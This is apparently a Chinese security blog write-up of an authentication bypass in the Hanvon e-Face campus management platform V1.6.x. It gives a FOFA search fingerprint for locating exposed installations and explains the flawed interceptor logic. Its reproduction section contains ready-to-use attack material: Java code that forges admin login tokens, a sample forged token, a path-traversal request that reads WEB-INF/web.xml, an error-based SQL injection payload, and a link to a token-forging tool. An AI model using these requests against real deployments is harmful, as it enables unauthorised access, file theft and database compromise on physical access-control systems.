汉王e脸通综合管理平台 权限绕过漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其系统 UserHandlerInterceptor 接口权限校验设计不合理可绕过系统鉴权。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

首先看 web.xml 中spring mvc过滤器部分

<!-- 配置Spring MVC过滤器 -->
    <servlet>
        <servlet-name>spring-mvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:spring/mvc-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>spring-mvc</servlet-name>
        <url-pattern>*.do</url-pattern>
    </servlet-mapping>

在传统 Spring MVC 项目中,web.xml 负责定义整个 Web 应用的“入口规则”,它通过 <servlet> 和 <servlet-mapping> 标签,将特定类型的请求(如以 .do 结尾的路径)交由 DispatcherServlet 处理。而 DispatcherServlet 的行为和功能,又完全取决于它加载的 Spring 配置文件(如 mvc-servlet.xml)。这种配置方式实现了“入口与实现解耦”,但也意味着如果配置链的某一环出现安全疏漏,可能导致整个 Web 层暴露风险。因此,理解 web.xml 与 Spring 配置文件之间的调用关系,是漏洞分析和防护的基础。

跟进 application-mvc.xml ,其中拦截器定义如下

<!-- SpringMVC拦截器 -->
    <mvc:interceptors>
        <mvc:interceptor>
            <mvc:mapping path="/**"/>
            <bean class="com.hanvon.iface.web.filter.UserHandlerInterceptor"></bean>
        </mvc:interceptor>
    </mvc:interceptors>

跟进 com.hanvon.iface.web.filter.UserHandlerInterceptor

private SystemDsm systemDsm;
    private static final List<String> WHITE_LIST = new ArrayList();
    private static String URL_TOKEN_EXPIRE = "/login/tokenIsExpire.do";
    private static String URL_SYSTEM_NOTVALID = "/login/systemNotValid.do";
    private static String URL_REMAINING_DAYSOFPROBATION = "/login/getRemainingDaysOfProbation.do";

开头定义了一些常量,重点看 preHandle 方法

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
        RequestContext.setRequest(request);
        RequestContext.setResponse(response);
        HttpSession session = request.getSession();
        String uri = request.getRequestURI();
        if (!uri.endsWith("getRemainingDaysOfProbation.do") && !uri.endsWith("systemAuthorization.do") && TheApp.getServerLicense().equalsIgnoreCase("mac") && TheApp.getSystemState() != 99 && TheApp.getSystemState() == -1 && TheApp.getValidDays(AESencrp.decode(this.systemDsm.getSystemRoleById1(1L).getSslTime())) == -1) {
            response.sendRedirect(request.getContextPath() + URL_REMAINING_DAYSOFPROBATION);
            return false;
        } else {
            String languageLocal = request.getHeader("languageLocal");
            Locale newLocale = TheApp.getLocale(languageLocal);
            setLocale(request, response, newLocale);
            if (!this.isWhiteUri(uri)) {
                if (session.getAttribute("__sessional_user__") == null) {
                    String token = request.getParameter("globalToken");
                    if (!Utils.isEmpty(token)) {
                        String s = Utils.decrypt(token);
                        String[] arr = s.split(",");
                        if (arr.length == 6 && arr[2].matches("\\d+") && arr[3].matches("\\d+")) {
                            String ip = arr[1];
                            Long time = Long.parseLong(arr[2]) + 1483200000000L;
                            long curr = System.currentTimeMillis();
                            if (Math.abs(time - curr) < 1800000L) {
                                SessionalUser su = new SessionalUser();
                                su.setId(Long.parseLong(arr[3]));
                                su.setUserName(Utils.decrypt(arr[4]));
                                su.setRealName(Utils.decrypt(arr[5]));
                                TheApp.setCurrentUser(su);
                                session.setAttribute("__sessional_user__", su);
                            }
                        }
                    }

                    try {
                        String str = Utils.encrypt(Math.abs((new Random()).nextLong() % 1000L) + ",1");
                        String recoToken = request.getParameter("recoToken");
                        if (!Utils.isEmpty(recoToken)) {
                            String s = Utils.decrypt(recoToken);
                            String[] arr = s.split(",");
                            if (arr.length == 2 && arr[1].matches("\\d+")) {
                                Long recoServerId = Long.parseLong(arr[1]);
                                session.setAttribute("__sessional_reco_id__", recoServerId);
                                SessionalUser su = new SessionalUser();
                                su.setId(1L);
                                su.setUserName("admin");
                                su.setRealName("reco server login");
                                session.setAttribute("__sessional_user__", su);
                                TheApp.setCurrentUser(su);
                            }
                        }
                    } catch (Exception var16) {
                    }
                }

                if (session.getAttribute("__sessional_user__") == null) {
                    response.sendRedirect(request.getContextPath() + URL_TOKEN_EXPIRE + "?tokenMessage=" + -1);
                    return false;
                }
            }

            return true;
        }
    }

需要重点关注的点

  • String uri = request.getRequestURI(); 这个用法是说了无数回不安全的,可以导致权限绕过
  • 白名单检查:!isWhiteUri(uri) 判断当前 URI 是否需要认证。
  • 会话用户不存在时:尝试用 globalToken 参数自动登录。
    • Token 解析:解密后拆分为 6 段,验证第 3、4 段为数字。
    • 时间校验:Token 时间戳(加基准值 1483200000000L)与当前时间差小于 30 分钟(1800000L 毫秒)。
    • 用户创建:用 Token 中的用户 ID、用户名(解密后)、真实姓名(解密后)创建 SessionalUser 对象。
    • 存储用户:存入当前会话和 TheApp 的线程局部变量。
  • 备用 Token 机制(recoToken)
  1. 生成随机字符串(可能用于混淆)。
  2. 通过 recoToken 参数登录:
    1. 解密后拆分为 2 段,验证第 2 段为数字。
    2. 存储 recoServerId 到会话。
    3. 创建管理员用户(固定 ID=1,用户名 "admin"),存入会话和线程变量。
  • 默认通过:若用户存在或 URI 在白名单中,返回 true 继续后续流程。

总结

核心逻辑:

  1. 系统状态拦截:在特定许可证和异常状态下,重定向至试用期页面。
  2. 用户认证:
    1. 非白名单 URI 需验证会话用户。
    2. 支持 globalToken(用户 Token)和 recoToken(系统 Token)自动登录。
  3. 中断条件:
    1. 系统状态异常 → 重定向试用期页面。
    2. 用户未认证 → 重定向 Token 过期页面。

关键部分:

  • 双 Token 机制兼顾普通用户和内部系统认证。
  • 时间戳校验防止 Token 重用。
  • 本地化支持通过请求头动态设置。

综上,那么就有两种绕过方式

  • getRequestURI() 结合白名单url进行目录穿越绕过
  • 伪造 globalToken 或 recoToken

其中 globalToken 未加密组成部分类似 xxx,ip,timestamp,userId,加密用户名,加密真实姓名

123456,192.168.1.100,1750668304227,1,admin,admin

再看 isWhiteUri 方法,是判断请求uri是否包含白名单,如果是就返回true

private boolean isWhiteUri(String uri) {
        for(String whiteUrl : WHITE_LIST) {
            if (uri.contains(whiteUrl)) {
                return true;
            }
        }

        return false;
    }

WHITE_LIST 列表如下

static {
        WHITE_LIST.add("/systemLogMgr/getSystemInfo.do");
        WHITE_LIST.add("/login/systemNotValid.do");
        WHITE_LIST.add("/login/loginOn.do");
        WHITE_LIST.add("/login/validationLogin.do");
        WHITE_LIST.add("/login/getPwdQuestionByUserName.do");
        WHITE_LIST.add("/login/checkQuestionAnswer.do");
        WHITE_LIST.add("/login/resetPassword.do");
        WHITE_LIST.add("/login/tokenIsExpire.do");
        WHITE_LIST.add("/channel/recoServerLogin.do");
        WHITE_LIST.add("/channel/anaServerLogin.do");
        WHITE_LIST.add("/channel/queryCaptureStatistics.do");
        WHITE_LIST.add("/dgmCommand/finishRegister.do");
        WHITE_LIST.add("/visitorInformation/getPersonByCardId.do");
        WHITE_LIST.add("/personnel/reportPersonnel.do");
        WHITE_LIST.add("/talk/queryTalkRecord.do");
        WHITE_LIST.add("/dgmOpenRecord/uploadOpenRecord.do");
        WHITE_LIST.add("/sysAuthStr/queryUserInfoByEmployId.do");
        WHITE_LIST.add("/sysAuthStr/saveSysAuthStr.do");
        WHITE_LIST.add("/manage/mobiMeetingApp");
        WHITE_LIST.add("/openDoorLog/queryNets.do");
        WHITE_LIST.add("/manage/intercom/");
        WHITE_LIST.add("/manage/m/");
        WHITE_LIST.add("/manage/mobiVisit/");
        WHITE_LIST.add("/manage/mobiSetting/");
        WHITE_LIST.add("/manage/mobiLeave/");
        WHITE_LIST.add("/manage/mobiOverTime/");
        WHITE_LIST.add("/manage/mobiAttOmit/");
        WHITE_LIST.add("/manage/mobiBranchSummary/");
        WHITE_LIST.add("/manage/mobiWorkflow/");
        WHITE_LIST.add("/manage/mobiShift/");
        WHITE_LIST.add("/manage/mobiAttend");
        WHITE_LIST.add("/manage/sysPhoneAuthCode");
        WHITE_LIST.add("/login/loginOnByPhoneAuthCode.do");
        WHITE_LIST.add("/login/getRemainingDaysOfProbation.do");
        WHITE_LIST.add("/login/systemAuthorization.do");
        WHITE_LIST.add("/deviceAlarm/getDeviceAlarmMonitorSum.do");
        WHITE_LIST.add("/systemSetting/getSysInterfaceStyle.do");
    }

漏洞复现

globalToken

手戳一个加解密demo来测试,导入 iface.common-1.0.jar 到lib目录后,直接调用即可

import com.hanvon.iface.utils.Utils;

public class Test {
    public static void main(String[] args) {
        // 调用静态方法
        long curr = System.currentTimeMillis();
        long time_st = curr - 1483200000000L;
        String time_str = String.valueOf(time_st);
        String data = "123456,127.0.0.1," + time_str + ",1,admin,admin";
        String encode_data = Utils.encrypt(data);
        System.out.println("加密后的数据: " + encode_data);
        String decode_data = Utils.decrypt(encode_data);
        System.out.println("解密后的数据: " + decode_data);
    }
}

通过校验,成功读取到文件内容

recoToken

同样如 globalToken 手戳一个加解密demo就可以了

123456,111111

8uC4nBHRqTf4jIWz579hE

同样通过校验,成功读取到文件内容

WHITE_LIST

GET /manage/login/loginOn.do/..;/..;/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/web.xml HTTP/1.1
Host: hanvon.mrxn.net

同样通过校验,成功读取到文件内容

sql注入同样ok

GET /manage/m/..;aa/doorInfo/queryDoorInfoList.do?page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(2920=2920,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net

img

工具下载

globalTokenTools-1.0-SNAPSHOT.jar 使用方法如下图所示

点击下载

文件哈希:25d1bb368c8c5e57c6f6641933fac939485c6dc78d2f74018a33903d50974c37


手机扫码阅读

汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞

MetaCRM 客户关系管理系统 sendsms.jsp 任意文件上传漏洞

评 论